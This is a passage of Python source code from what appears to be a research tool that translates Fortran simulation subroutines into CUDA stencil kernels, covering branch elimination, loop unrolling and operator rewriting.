in self.safe_subs_to_remove]) == 1:\n remove_indexes.append(line_index)\n #print and write are somewhat special functions\n if \"print*\" in line or \"write(*,*)\" in line:\n remove_indexes.append(line_index)\n lines = [x[1] for x in enumerate(lines) if x[0] not in remove_indexes]\n self.known_values = {}\n lines = self.eliminate_while(lines)\n #remove allocate and at the same time make sure the allocate is safe to remove i.e. refers to local variables\n remove_indexes = []\n for i,line in enumerate(lines):\n has_allocate = False \n for func_call in self.get_function_calls_in_line(line,local_variables):\n if func_call[\"function_name\"] == \"allocate\":\n remove_indexes.append(i)\n for param in [param.split(\"(\")[0].strip() for param in func_call[\"parameters\"] if \"=\" not in param and (\"stat\" not in param or \"src\" not in param or \"source\" not in param)]:\n if param not in local_variables:\n print(\"Subroutine allocates global variable\", param)\n print(\"So can't generate cuda code for it\")\n exit()\n\n lines = [x[1] for x in enumerate(lines) if x[0] not in remove_indexes]\n for line in lines:\n if \"if(*/=0.) then\" in line:\n print(\"WRONG\")\n pexit(line)\n\n file = open(f\"res-eliminated.txt\",\"w\")\n for line in lines:\n file.write(f\"{line}\\n\")\n file.close()\n print(\"check eliminated file\")\n\n\n # global_loop_lines,iterators = self.get_global_loop_lines(lines,local_variables)\n # if len(global_loop_lines) > 0:\n # lines = self.remove_global_loops(lines,local_variables,global_loop_lines,iterators)\n\n #unroll forall lines\n for line_index,line in enumerate(lines):\n search_line = line.replace(\"forall\",\"call forall\")\n func_calls = self.get_function_calls_in_line(search_line,local_variables)\n if len(func_calls) == 1 and func_calls[0][\"function_name\"] == \"forall\" and len(func_calls[0][\"parameters\"]) == 1:\n write = self.get_writes_from_line((func_calls[0][\"parameters\"])[0])[0]\n iterator = write[\"variable\"]\n if \":\" not in write[\"value\"]:\n print(\"should unroll for all\")\n print(\"don't know how to do it\")\n pexit(line)\n replacement_lower, replacement_upper = [part.strip() for part in write[\"value\"].split(\":\")]\n\n res = self.replace_segments(self.get_array_segments_in_line(search_line,variables),search_line,self.global_loop_replacer,local_variables,{\n \"iterator\": iterator, \n \"replacement_lower\": replacement_lower,\n \"replacement_upper\": replacement_upper,\n \"replacement_index\": 3,\n })\n save_var = False \n #copypaste\n search_index = 0\n if \"%\" in res:\n search_var = \"\"\n save_var = False\n buffer = \"\"\n for i,char in enumerate(res):\n if char == \"%\":\n save_var = True\n if not(char.isalpha() or char.isnumeric()) and char != \"%\":\n if save_var:\n search_var = buffer\n search_index = i\n save_var = False\n buffer = \"\"\n else:\n buffer = buffer + char\n if save_var:\n search_var = buffer\n search_index = None\n search_var = search_var.strip()\n last_index = 0\n res_final = \"\"\n struct_segs = [seg for seg in get_variable_segments(res,search_var) if seg[0] != \"\"]\n for seg in struct_segs:\n var_name,field = [part.strip() for part in seg[0].split(\"%\",1)]\n if var_name in local_variables:\n src = local_variables\n elif var_name in self.static_variables:\n src = self.static_variables\n if src[var_name][\"type\"] != \"pencil_case\":\n print(\"what to do non pencil_case struct ?\")\n print(\"struct seg\", seg[0], res_line[seg[1]:seg[2]])\n exit()\n dims = self.struct_table[src[var_name][\"type\"]][field][\"dims\"]\n indexes = get_segment_indexes(seg, res, 0)\n for i,index in enumerate(indexes):\n if iterator in index:\n new_lower= index.replace(iterator,replacement_lower)\n new_upper= index.replace(iterator,replacement_upper)\n if new_lower == \"1\" and new_upper == dims[i]:\n indexes[i] = \":\"\n else:\n indexes[i] = new_lower + \":\" + new_upper\n res_final = res_final + res[last_index:seg[1]]\n res_final= res_final + build_new_access(seg[0],indexes)\n last_index = seg[2]\n res_final = res_final + res[last_index:]\n res = res_final\n\n func_call = self.get_function_calls_in_line(res,local_variables)[0]\n res = self.replace_func_call(res,func_call,\"\").replace(\"call\",\"\")\n lines[line_index] = res\n\n variables = merge_dictionaries(self.static_variables, local_variables)\n for line in lines:\n if \"if(*/=0.) then\" in line:\n print(\"WRONG\")\n pexit(line)\n print(\"Unrolling constant loops\")\n lines = [line.strip() for line in lines]\n file = open(\"res-unroll.txt\",\"w\")\n for line in lines:\n file.write(f\"{line}\\n\")\n file.close()\n for line in lines:\n if \"if(*/=0.) then\" in line:\n print(\"WRONG\")\n pexit(line)\n print(\"Check unroll file\")\n\n #get local variables back to get actual dims not size dims\n local_variables = {parameter:v for parameter,v in self.get_variables(lines, {},self.file, True).items() }\n\n lines = [line.strip() for line in lines if line.strip() != \"\"]\n file = open(\"res-inlined.txt\",\"w\")\n for line in lines:\n file.write(f\"{line}\\n\")\n file.close()\n for line in lines:\n if \"if(*/=0.) then\" in line:\n print(\"WRONG\")\n pexit(line)\n print(\"Check inlined file\")\n #try to transform maxvals into max before transform \n for line_index,line in enumerate(lines):\n maxval_calls = [call for call in self.get_function_calls_in_line(line,variables) if call[\"function_name\"] == \"maxval\"]\n if len(maxval_calls) > 1:\n print(\"multiple maxval calls\")\n pexit(line)\n elif len(maxval_calls) == 1:\n first_param_info = self.get_param_info((maxval_calls[0][\"parameters\"][0],False),local_variables,self.static_variables)\n #max of nx (possibly vector components), is safe to take max\n if ((len(maxval_calls[0][\"parameters\"]) == 1) or (len(maxval_calls[0][\"parameters\"]) == 2 and maxval_calls[0][\"parameters\"][1] in [\"dim=2\",\"2\"])) and first_param_info[3] in [[global_subdomain_range_x], [global_subdomain_range_x,\"3\"]]:\n lines[line_index] = self.replace_func_call(line,maxval_calls[0],f\"max({maxval_calls[0]['parameters'][0]})\")\n else:\n print(\"first param info\",first_param_info)\n print(\"no case maxval\")\n pexit(line)\n file = open(\"res.txt\",\"w\")\n for line in lines:\n file.write(f\"{line}\\n\")\n file.close()\n #replace all calls to tiny with predefined float \n for line_index,line in enumerate(lines):\n for call in [x for x in self.get_function_calls_in_line(line,variables) if x[\"function_name\"] == \"tiny\"]:\n type = self.get_param_info((call[\"parameters\"][0],False), local_variables,self.static_variables)[2]\n if type == \"real\":\n line = self.replace_func_call(line,call,\"AC_tiny_val\")\n lines[line_index] = line\n else:\n print(\"what to do with this tiny type?\",type)\n print(type)\n exit()\n #alog -> log\n for line_index,line in enumerate(lines):\n alog_calls = [x for x in self.get_function_calls_in_line(line,variables) if x[\"function_name\"] == \"alog\"]\n while(len(alog_calls)>0):\n call = alog_calls[0]\n line = self.replace_func_call(line,call,f\"log({','.join(call['parameters'])})\")\n lines[line_index] = line\n alog_calls = [x for x in self.get_function_calls_in_line(line,variables) if x[\"function_name\"] == \"alog\"]\n #for calls [real] just return the param\n for line_index,line in enumerate(lines):\n real_calls = [x for x in self.get_function_calls_in_line(line,variables) if x[\"function_name\"] == \"real\"]\n while(len(real_calls)>0):\n call = real_calls[0]\n if len(call[\"parameters\"]) == 1:\n line = self.replace_func_call(line,call,call['parameters'][0])\n lines[line_index] = line\n real_calls = [x for x in self.get_function_calls_in_line(line,variables) if x[\"function_name\"] == \"real\"]\n else:\n print(\"multiple params in real\")\n pexit(line)\n\n\n\n #move written profiles to local_vars since we know their values\n lines = self.transform_pencils(lines,all_inlined_lines,local_variables)\n variables = merge_dictionaries(local_variables,self.static_variables)\n file = open(\"res-before.txt\",\"w\")\n for line in lines:\n file.write(f\"{line}\\n\")\n file.close\n lines = self.elim_unnecessary_writes_and_calls(lines,local_variables,variables)\n #remove writes to fname,lfirstpoint and mass_per_proc\n remove_indexes = []\n writes = self.get_writes(lines,False)\n for x in [x for x in writes if x[\"variable\"] in [\"fname\",\"mass_per_proc\",\"lfirstpoint\"]]:\n remove_indexes.append(x[\"line_num\"])\n lines = [x[1] for x in enumerate(lines) if x[0] not in remove_indexes]\n lines = self.unroll_constant_loops(lines,local_variables)\n #transform spreads into do loops\n lines = self.transform_spreads(lines,local_variables,variables)\n self.known_values = {}\n lines = self.eliminate_while(lines)\n\n writes = self.get_writes(lines)\n self.try_to_deduce_if_params(lines,writes,local_variables)\n file = open(\"res-inlined-profiles.txt\",\"w\")\n for line in lines:\n file.write(f\"{line}\\n\")\n file.close()\n print(\"replace 1d vecs with 3 1d arrays\")\n vectors_to_try_to_replace = []\n for var in local_variables:\n vectors_to_try_to_replace.append(var)\n print(\"dline_1 is in self.static\",\"dline_1\" in self.static_variables)\n #Make sure are actually vectors\n vectors_to_replace = []\n for vector in vectors_to_try_to_replace:\n if self.is_vector(lines, vector, local_variables):\n vectors_to_replace.append(vector)\n vectors_to_replace.append(\"dline_1\")\n\n file = open(\"res-inlined-profiles.txt\",\"w\")\n for line in lines:\n file.write(f\"{line}\\n\")\n file.close()\n\n #for dim=2 sums for AcReal3 replace with simpl sum, which will sum components\n lines = self.transform_sum_calls(lines,local_variables)\n\n writes = self.get_writes(lines)\n\n \n\n #TODO: do this better\n lines = [line.replace(\"+(1-1)\",\"+0\").replace(\"+1-1\",\"+0\") for line in lines]\n self.known_values = {}\n lines = self.eliminate_while(lines)\n # lines = self.inline_0d_writes(lines,local_variables)\n #rewrite some ranges in AcVectors and AcMatrices\n variables = merge_dictionaries(local_variables,self.static_variables)\n lines = self.evaluate_leftover_pencils_as_true(lines,local_variables)\n #any -> normal if \n variables = merge_dictionaries(local_variables,self.static_variables)\n for line_index,line in enumerate(lines):\n any_calls= [x for x in self.get_function_calls_in_line(line,variables) if x[\"function_name\"] == \"any\"]\n while(len(any_calls)>0):\n call = any_calls[0]\n assert(len(call[\"parameters\"]) == 1)\n if \"/=\" in call[\"parameters\"][0]:\n comp_symbol = \"/=\"\n elif \"==\" in call[\"parameters\"][0]:\n comp_symbol = \"==\"\n elif \"<\" in call[\"parameters\"][0]:\n comp_symbol = \"<\"\n elif \">\" in call[\"parameters\"][0]:\n comp_symbol = \">\"\n lower,upper = [part.strip() for part in call[\"parameters\"][0].split(comp_symbol)]\n if lower in variables and variables[lower][\"dims\"] == [\"3\"]:\n lines[line_index] = self.replace_func_call(line,call,\" .or. \".join([f\"{lower}({index}) {comp_symbol} {upper}\" for index in [\"1\",\"2\",\"3\"]]))\n else:\n pexit(\"what to do?\")\n any_calls= [x for x in self.get_function_calls_in_line(lines[line_index],variables) if x[\"function_name\"] == \"any\"]\n lines = self.eliminate_while(lines)\n lines = self.elim_empty_branches(lines,local_variables)\n lines = self.elim_empty_dos(lines,local_variables)\n local_variables = {parameter:v for parameter,v in self.get_variables(lines, {},\"\",True).items() }\n lines = self.unroll_constant_loops(lines,local_variables)\n lines = self.unroll_ranges(lines,local_variables)\n file = open(\"res-inlined-profiles.txt\",\"w\")\n for line in lines:\n file.write(f\"{line}\\n\")\n file.close()\n #add some static vars to local vars\n for var in [\"dline_1__mod__cdata\",\"lcoarse_mn__mod__cdata\"]:\n local_variables[var] = self.static_variables[var]\n self.known_values = {}\n self.try_to_deduce_if_params(lines,writes,local_variables)\n #no known values for n and m\n for x in self.static_variables:\n if \"reference_state__mod__\" in x:\n self.static_variables[x][\"dims\"] = [f\"{global_subdomain_range_x},9\"]\n writes = self.get_writes(lines)\n self.known_values = {}\n self.try_to_deduce_if_params(lines,writes,local_variables)\n for x in [\"n__mod__cdata\",\"n__mod__cdata\"]:\n if x in self.known_values:\n del self.known_values[x]\n for i,line in enumerate(lines):\n res = self.transform_line(i,lines,local_variables,loop_indexes,symbol_table,initialization_lines,orig_params, transform_func,vectors_to_replace,writes)\n lines[i] = res\n file = open(\"res-transform.txt\",\"w\")\n for line in lines:\n file.write(f\"{line}\\n\")\n file.close()\n lines = [line.replace(\"iuu__mod__cdata\",\"F_UX\") for line in lines]\n lines = [line.replace(\"F_UX\",\"F_UU.x\").replace(\"F_UY\",\"F_UU.y\").replace(\"F_UZ\",\"F_UU.z\") for line in lines]\n\n # for f_index in [\"uu\",\"\"]\n\n lines = [line.replace(\".false.\",\"false\") for line in lines]\n lines = [line.replace(\".true.\",\"true\") for line in lines]\n lines = [line.replace(\".and.\",\" && \") for line in lines]\n lines = [line.replace(\".or.\",\" || \") for line in lines]\n lines = [line.replace(\".not.\",\"!\") for line in lines]\n lines = [line.replace(\"loptest(false)\",\"false\") for line in lines]\n lines = [line.replace(\"loptest(true)\",\"true\") for line in lines]\n lines = [line.replace(\"/=\",\"!=\") for line in lines]\n\n lines = [replace_exp(line) for line in lines]\n file = open(\"res-replace_exp.txt\",\"w\")\n for line in lines:\n file.write(f\"{line}\\n\")\n file.close()\n print(\"Check replace exp file\")\n \n #for testing vtxbuf_ss -> vtxbuf_entropy\n lines = [line.replace(\"VTXBUF_SS\",\"VTXBUF_ENTROPY\") for line in lines]\n #close empty defaults\n for i,line in enumerate(lines):\n if \"default:\" in line and i1:\n for func_call in func_calls:\n #Acvector sums are okay\n if func_call[\"function_name\"].lower() not in [\"derx\",\"dery\",\"derz\",\"derxx\",\"deryy\",\"derzz\",\"der6x\",\"der6y\",\"der6z\",\"der6x_upwd\",\"der6y_upwd\",\"der6z_upwd\",\"sum\",\"&&\", \"||\",\"all\",\"col\",\"row\",\"sqrt\",\"abs\",\"sinh\",\"cosh\",\"tanh\",\"min\",\"max\",\"der\",\"der2\",\"der3\",\"der4\",\"der5\",\"der6\",\"pow\",\"DEVICE_VTXBUF_IDX\".lower(),\"DCONST\".lower(),\"value\",\"vecvalue\",\"exp\",\"log\",\"if\",\"else\",\"for\",\"sin\",\"cos\"] and not \"[\" in func_call[\"function_name\"]:\n # if func_call[\"function_name\"] == \"sum\" and self.get_param_info((func_call[\"parameters\"][0],False),local_variables,self.static_variables)[3] == [global_subdomain_range_x,\"3\"]:\n # pass\n if func_call[\"function_name\"].lower() not in der_funcs:\n print(\"STILL FUNC CALLS in line:\",line,i)\n print(func_call)\n exit()\n vertexIdx_line = \"const int3 vertexIdx = (int3){\\nthreadIdx.x + blockIdx.x * blockDim.x,\\nthreadIdx.y + blockIdx.y * blockDim.y,\\nthreadIdx.z + blockIdx.z * blockDim.z,\\n};\\n\"\n check_line = \"if (vertexIdx.x >= dims.x || vertexIdx.y >= dims.y || vertexIdx.z >= dims.z) {\\nreturn;\\n}\\n\"\n idx_line = \"const int3 idx = {vertexIdx.x, vertexIdx.y, vertexIdx.z};\"\n dx_lines = [\n \"real3 DF_UU\",\n \"DF_UU.x = 0.0\",\n \"DF_UU.y = 0.0\",\n \"DF_UU.z = 0.0\",\n \"DF_LNRHO = 0.0\",\n \"DF_SS = 0.0\"\n ]\n #for now simply write DX out, normally would write out RHS3 substep\n write_fields_lines = [\n \"write_vector(F_UU,DF_UU)\",\n \"write(F_LNRHO,DF_LNRHO)\",\n \"write(F_SS,DF_SS)\"\n ]\n declarations_line = \"\"\n for var in unique_list(initialization_lines):\n declarations_line = declarations_line + translate_to_c(local_variables[var.lower()][\"type\"]) + \" \" + var + \";\\n\"\n if self.offload_type == \"boundcond\":\n res_lines = lines[:3] + [declarations_line, vertexIdx_line, check_line, idx_line] +lines[3:]\n lines = res_lines\n elif self.offload_type == \"stencil\":\n res_lines = lines[:1] + dx_lines + lines[1:-1] + write_fields_lines + [lines[-1]]\n lines = res_lines\n return lines\n def deduce_value(self,variable,writes,local_variables,analyse_lines,take_last_write_as_output=False):\n var_writes = [write for write in writes if write[\"variable\"] == variable and write[\"line\"].split(\" \")[0].strip() != \"do\"]\n if variable in local_variables:\n src = local_variables\n else:\n src = self.static_variables\n if len(var_writes) > 1:\n if all([write[\"value\"] == var_writes[0][\"value\"] for write in var_writes]):\n write = var_writes[0]\n if variable in local_variables:\n local_variables[variable][\"value\"] = write[\"value\"]\n self.known_values[variable] = write[\"value\"] \n else:\n if analyse_lines[write[\"line_num\"]][1] == 0:\n self.static_variables[variable][\"value\"] = write[\"value\"]\n self.known_values[variable] = write[\"value\"] \n #all writes are on the main branch then the value will be the last write after this subroutine\n elif take_last_write_as_output and all([analyse_lines[x[\"line_num\"]][1] == 0 for x in var_writes]) and variable not in var_writes[-1][\"value\"]:\n src[variable][\"value\"] = var_writes[-1][\"value\"]\n self.known_values[variable] = var_writes[-1][\"value\"]\n\n\n\n elif len(var_writes) == 1:\n write = var_writes[0]\n if variable in local_variables:\n local_variables[variable][\"value\"] = write[\"value\"]\n self.known_values[variable] = write[\"value\"]\n else:\n if analyse_lines[write[\"line_num\"]][1] == 0:\n self.static_variables[variable][\"value\"] = write[\"value\"]\n self.known_values[variable] = write[\"value\"] \n return\n \n def expand_size_in_line(self, line,local_variables,writes):\n func_calls = self.get_function_calls_in_line(line,local_variables,False)\n need_to_transform_size = any([func_call[\"function_name\"] == \"size\" for func_call in func_calls])\n while need_to_transform_size:\n func_call = list(filter(lambda func_call: func_call[\"function_name\"] == \"size\", func_calls))[0]\n replacement = self.get_size(func_call,local_variables,local_variables,writes)\n if replacement != \":\":\n line = self.replace_func_call(line, func_call,replacement)\n #don't replace if will can't return enough info\n else:\n return line\n func_calls =self.get_function_calls_in_line(line,local_variables,False)\n need_to_transform_size = any([func_call[\"function_name\"] == \"size\" for func_call in func_calls])\n return line\n def get_global_loop_lines(self,lines,local_variables):\n variables = merge_dictionaries(local_variables,self.static_variables)\n writes = self.get_writes(lines)\n global_loop_lines = []\n in_global_loop = False\n number_of_dos = 0\n number_of_enddos= 0\n lines_in_loop = []\n iterators = []\n print(\"offload type\",self.offload_type)\n for i,line in enumerate(lines):\n if in_global_loop:\n lines_in_loop.append((line,i))\n if \"end\" in line and \"do\" in line and in_global_loop:\n number_of_enddos += 1\n in_global_loop = not number_of_enddos == number_of_dos\n if not in_global_loop:\n global_loop_lines.append(lines_in_loop)\n lines_in_loop = []\n number_of_dos = 0\n number_of_enddos = 0\n elif self.offload_type == \"stencil\" and \"do\" in line and (\"1,nx\" in line or f\"{global_subdomain_range_x_lower},{global_subdomain_range_x_upper}\" in line or f\"{global_subdomain_range_x_lower}-2,{global_subdomain_range_x_upper}+2\" in line):\n write = self.get_writes_from_line(line,local_variables)[0]\n #not supported if used as write value\n if all([write[\"variable\"] not in [x[0] for x in get_variable_segments(write[\"value\"],variables)] for x in writes]):\n if \"1,nx\" in line:\n iterators.append((write[\"variable\"],\"1\",global_subdomain_range_x,0))\n elif f\"{global_subdomain_range_x_lower},{global_subdomain_range_x_upper}\" in line:\n iterators.append((write[\"variable\"],global_subdomain_range_x_lower,global_subdomain_range_x_upper,0))\n elif f\"{global_subdomain_range_x_lower}-2,{global_subdomain_range_x_upper}+2\" in line:\n iterators.append((write[\"variable\"],f\"{global_subdomain_range_x_lower}-2\",\"{global_subdomain_range_x_upper}+2\",0))\n if in_global_loop:\n print(\"Can't handle nested global loops\")\n exit()\n in_global_loop = True\n number_of_dos = 1\n number_of_enddos = 0\n lines_in_loop = []\n lines_in_loop.append((line,i))\n elif self.offload_type == \"boundcond\" and \"do\" in line and \"1,my\" in line:\n write = self.get_writes_from_line(line,local_variables)[0]\n iterators.append((write[\"variable\"],\"1\",global_subdomain_range_with_halos_y,1))\n if in_global_loop:\n print(\"Can't handle nested global loops\")\n exit()\n in_global_loop = True\n number_of_dos = 1\n number_of_enddos = 0\n lines_in_loop = []\n lines_in_loop.append((line,i))\n return (global_loop_lines,iterators)\n def get_default_flags_from_file(self,filename,dst):\n module = self.get_own_module(filename)\n for x in self.file_info[filename][\"variables\"]:\n if x[0] == \"l\" and self.file_info[filename][\"variables\"][x][\"type\"] == \"logical\" and \"value\" in self.file_info[filename][\"variables\"][x]:\n val = self.file_info[filename][\"variables\"][x][\"value\"]\n if val in [\".false.\",\".true.\"]:\n if \"__mod__\" not in x:\n print(filename)\n print(module)\n dst[self.rename_dict[module][x]] = val\n else:\n dst[x] = val\n\n\n def get_flags_from_initialization_func(self,subroutine_name, filename):\n print(\"Init func\",subroutine_name)\n # print(self.flag_mappings[\"lgradu_as_aux__mod__hydro\"])\n\n orig_lines = self.get_subroutine_lines(subroutine_name,filename)\n\n mod_default_mappings = {}\n self.get_default_flags_from_file(filename,mod_default_mappings)\n local_variables = {parameter:v for parameter,v in self.get_variables(orig_lines, {},filename,True).items() }\n orig_lines = self.rename_lines_to_internal_names(orig_lines,local_variables,filename)\n local_variables = {parameter:v for parameter,v in self.get_variables(orig_lines, {},filename,True).items() }\n\n mod = self.get_own_module(filename)\n if mod not in self.shared_flags_accessed:\n self.shared_flags_accessed[mod] = []\n self.shared_flags_given[mod] = []\n\n analyse_lines = self.get_analyse_lines(orig_lines,local_variables)\n for call in self.get_function_calls(orig_lines,local_variables,False):\n #check if in main branch\n if analyse_lines[call[\"line_num\"]][1] == 0:\n if call[\"function_name\"] == \"get_shared_variable\" and len(call[\"parameters\"]) >= 2:\n flag = call[\"parameters\"][1]\n if (flag[0] == \"l\" and flag in self.file_info[filename][\"variables\"] and self.file_info[filename][\"variables\"][flag][\"type\"] == \"logical\") or remove_mod(flag) in [\"beta_glnrho_scaled\"]:\n self.shared_flags_accessed[mod].append(flag)\n if call[\"function_name\"] == \"put_shared_variable\" and len(call[\"parameters\"]) >= 2:\n flag = call[\"parameters\"][1]\n if (flag[0] == \"l\" and flag in self.file_info[filename][\"variables\"] and self.file_info[filename][\"variables\"][flag][\"type\"] == \"logical\") or remove_mod(flag) in [\"beta_glnrho_scaled\"]:\n self.shared_flags_given[mod].append(flag)\n new_lines = self.eliminate_while(orig_lines,True,True)\n new_lines = self.unroll_constant_loops(new_lines,{})\n self.known_values = {}\n new_lines = self.eliminate_while(new_lines,True,True)\n local_variables = {parameter:v for parameter,v in self.get_variables(new_lines, {},filename,True).items() }\n\n #variables that can be deduced after elimination\n self.known_values = {}\n self.try_to_deduce_if_params(new_lines,self.get_writes(new_lines,False), local_variables,True)\n for x in [x for x in self.known_values if x[0] == \"l\" and x in self.static_variables and self.static_variables[x][\"type\"] == \"logical\"]:\n self.flag_mappings[x] = self.known_values[x]\n new_lines = self.eliminate_while(new_lines,True,True)\n self.known_values = {}\n self.try_to_deduce_if_params(new_lines,self.get_writes(new_lines,False), local_variables,True)\n for x in [x for x in self.known_values if x[0] == \"l\" and x in self.static_variables and self.static_variables[x][\"type\"] == \"logical\"]:\n self.flag_mappings[x] = self.known_values[x]\n\n #if eliminated all writes then to flag than we take the default val\n # writes = self.get_writes(new_lines)\n # for var in [x for x in mod_default_mappings if x not in self.flag_mappings]:\n # if len([x for x in writes if x[\"variable\"] == var]) == 0:\n # self.flag_mappings[var] = mod_default_mappings[var]\n local_variables = {parameter:v for parameter,v in self.get_variables(new_lines, {},filename,True).items() }\n analyse_lines = self.get_analyse_lines(new_lines,local_variables)\n for call in self.get_function_calls(new_lines,local_variables,False):\n #check if in main branch\n if analyse_lines[call[\"line_num\"]][1] == 0:\n if call[\"function_name\"] == \"select_eos_variable\":\n self.select_eos_variable_calls.append(call)\n if call[\"function_name\"] in farray_register_funcs:\n self.farray_register_calls.append(call)\n if call[\"function_name\"] == \"get_shared_variable\" and len(call[\"parameters\"]) >= 2:\n flag = call[\"parameters\"][1]\n if (flag[0] == \"l\" and flag in self.file_info[filename][\"variables\"] and self.file_info[filename][\"variables\"][flag][\"type\"] == \"logical\") or remove_mod(flag) in [\"beta_glnrho_scaled\"]:\n self.shared_flags_accessed[mod].append(flag)\n if call[\"function_name\"] == \"put_shared_variable\" and len(call[\"parameters\"]) >= 2:\n flag = call[\"parameters\"][1]\n if (flag[0] == \"l\" and flag in self.file_info[filename][\"variables\"] and self.file_info[filename][\"variables\"][flag][\"type\"] == \"logical\") or remove_mod(flag) in [\"beta_glnrho_scaled\"]:\n self.shared_flags_given[mod].append(flag)\n\n # if subroutine_name == \"initialize_density\":\n # file = open(\"init.txt\",\"w\")\n # for line in new_lines:\n # file.write(f\"{line}\\n\")\n # file.close()\n # print(self.flag_mappings[\"lconservative__mod__density\"])\n # exit()\n # print(self.shared_flags_accessed[mod])\n # print(self.shared_flags_given[mod])\n # print(self.flag_mappings[\"lheatc_sqrtrhochiconst__mod__energy\"])\n # exit()\n # print(self.flag_mappings[\"lpressuregradient_gas__mod__hydro\"])\n # print(\"wrote init.txt\")\n # exit()\n # print(self.flag_mappings[\"gravz_profile__mod__gravity\"])\n # exit()\n # print(\"res in init.txt\")\n # print(self.flag_mappings[\"omega__mod__cdata\"])\n # print(self.flag_mappings[\"ltime_integrals__mod__cdata\"])\n # print(\"lgradu_as_aux__mod__hydro\" in mod_default_mappings)\n # print(\"lgradu_as_aux__mod__hydro\" in self.file_info[filename][\"variables\"])\n # print(\"lgradu_as_aux__mod__hydro\" in self.static_variables)\n # print(self.static_variables[\"lgradu_as_aux__mod__hydro\"])\n # self.file_info[filename][\"variables\"][\"lgradu_as_aux__mod__hydro\"]\n # print(self.file_info[filename][\"variables\"][\"lgradu_as_aux__mod__hydro\"])\n # print(self.flag_mappings[\"lgradu_as_aux__mod__hydro\"])\n # print(\"wrote init.txt to use internal names\")\n # exit()\n\n\n def try_to_deduce_if_params(self,lines,writes,local_variables,take_last_write_as_output=False):\n analyse_lines = self.get_analyse_lines(lines,local_variables)\n writes = self.get_writes(lines,False)\n variables = merge_dictionaries(local_variables,self.static_variables)\n for var in variables:\n self.deduce_value(var,writes,local_variables,analyse_lines,take_last_write_as_output)\n # for line in lines:\n # check_line = line.replace(\"then\",\"\").replace(\"elseif\",\"if\").replace(\"if\",\"call if\")\n # if_func_calls = list(filter(lambda func_call: func_call[\"function_name\"] == \"if\", self.get_function_calls_in_line(check_line,local_variables)))\n # if len(if_func_calls) == 1:\n # if len(if_func_calls[0][\"parameters\"]) == 1:\n # param = if_func_calls[0][\"parameters\"][0]\n # params = [part.replace(\".not.\",\"\").strip() for part in param.split(\".and.\")]\n # for par in params:\n # for var in [var for var in local_variables if \"value\" not in local_variables[var]]:\n # if var == par:\n # self.deduce_value(var,writes,local_variables)\n\n def choose_correct_if_lines(self,lines):\n if_lines = []\n for line_index,line in enumerate(lines):\n if \"if\" in line or \"else\" in line:\n if_lines.append((line,line_index))\n possibilities = []\n found_true = False \n for x_index, x in enumerate(if_lines):\n line = x[0]\n if \"if\" in line and \".false.\" in line and \".true.\" not in line and \".and.\" not in line and \".or.\" not in line:\n pass\n elif \"if\" in line and \"else\" not in line and \".true.\" in line and \".false.\" not in line and \".and.\" not in line and \".or.\" not in line:\n found_true = True\n possibilities= [x_index]\n elif not found_true and \"end\" not in line: \n possibilities.append(x_index)\n if len(possibilities) == 1 and len(if_lines) > 2:\n correct_index = possibilities[0] \n lower = if_lines[correct_index][1] + 1\n upper = if_lines[correct_index+1][1]\n return lines[lower:upper]\n elif len(possibilities) == 1:\n correct_index = possibilities[0] \n line = lines[if_lines[correct_index][1]]\n if \"if\" in line and \"else\" not in line and \"then\" in line and \".true.\" in line and \".false.\" not in line and \".and.\" not in line and \".or.\" not in line:\n lower = if_lines[correct_index][1] + 1\n upper = if_lines[correct_index+1][1]\n return lines[lower:upper]\n elif \"if\" in line and \"else\" not in line and \"then\" in line and \".false.\" in line and \".true.\" not in line and \".and.\" not in line and \".or.\" not in line:\n return []\n else:\n return lines\n elif len(possibilities) == 0:\n return []\n return lines\n \n def eliminate_dead_branches(self,lines,local_variables):\n orig_lines = lines.copy()\n orig_lines.append(\"one more\")\n while(len(orig_lines) > len(lines)):\n orig_lines = lines.copy()\n lines = self.eliminate_dead_branches_once(lines,local_variables)\n file = open(\"res-eliminated.txt\",\"w\")\n for line in lines:\n file.write(f\"{line}\\n\") \n file.close()\n return lines\n def get_analyse_lines(self,lines,local_variables):\n if_num = 0\n analyse_lines = []\n remove_indexes = []\n done = False\n max_if_num = 0\n nest_num = 0\n case_num = 0\n if_nums = [0]\n for line_index,line in enumerate(lines):\n if \"if\" in line and \"then\" in line and line[:4] != \"elif\" and line[:4] != \"else\" and len([call for call in self.get_function_calls_in_line(line,local_variables) if call[\"function_name\"] == \"if\"])>0:\n max_if_num += 1\n if_num = max_if_num \n if_nums.append(if_num)\n nest_num += 1\n elif \"if\" and \"then\" in line and line[:4] != \"elif\" and line[:4] != \"else\":\n print(\"missed this one\",line)\n exit()\n if \"if\" in line or line==\"else\":\n case_num += 1\n analyse_lines.append((line,nest_num, if_num,line_index,case_num))\n if line in [\"endif\",\"end if\"]:\n nest_num -= 1\n if_nums.pop()\n print(line_index)\n print(line)\n assert(len(if_nums)>0)\n if_num = if_nums[-1]\n assert(len(analyse_lines) == len(lines))\n return analyse_lines\n def has_no_ifs(self,lines):\n return all([x[1] == 0 for x in self.get_analyse_lines(lines,local_variables)])\n def eliminate_dead_branches_once(self,lines,local_variables):\n remove_indexes = []\n done = False\n\n # for line_index,line in enumerate(lines):\n # if \"if\" in line and \"then\" in line and \"elif\" not in line and \"else\" not in line:\n # if_num = max_if_num + 1\n # if_nums.append(if_num)\n # max_if_num = max(if_num, if_num)\n # nest_num += 1\n # analyse_lines.append((line,nest_num, if_num,line_index))\n # if \"endif\" in line or \"end if\" in line:\n # nest_num -= 1\n # if_nums.pop()\n # if_num = if_nums[-1]\n\n analyse_lines = self.get_analyse_lines(lines,local_variables)\n max_if_num = max([x[2] for x in analyse_lines])\n for if_num in range(1,max_if_num+1):\n if_lines = [line for line in analyse_lines if line[2] == if_num and line[1] > 0]\n choices = []\n for line in if_lines:\n if (\"if\" in line[0] and (\"then\" in line[0] or \"end\" in line[0] or \"else\" in line[0])) or line[0] == \"else\":\n choices.append(line)\n # print(\"CHOICES\")\n # print(choices)\n possibilities = []\n found_true = False\n res_index = 0\n for choice_index, choice in enumerate(choices):\n line = choice[0]\n if \"if\" in line and \".false.\" in line and \".true.\" not in line and \".and.\" not in line and \".or.\" not in line:\n pass\n elif \"if\" in line and \".true.\" in line and \".false.\" not in line and \".and.\" not in line and \".or.\" not in line:\n found_true = True\n possibilities = [choice]\n res_index = choice_index\n elif not found_true and \"end\" not in line:\n possibilities.append(choice)\n res_index = choice_index\n # print(\"POSSIBILITES\")\n # print(possibilities)\n if len(possibilities) == 0:\n starting_index = choices[0][3]\n ending_index = choices[-1][3]\n for index in range(starting_index,ending_index+1):\n remove_indexes.append(index)\n if len(possibilities) == 1 and (len(choices) > 2 or found_true):\n starting_index = choices[0][3]\n ending_index = choices[-1][3]\n\n keep_starting_index = 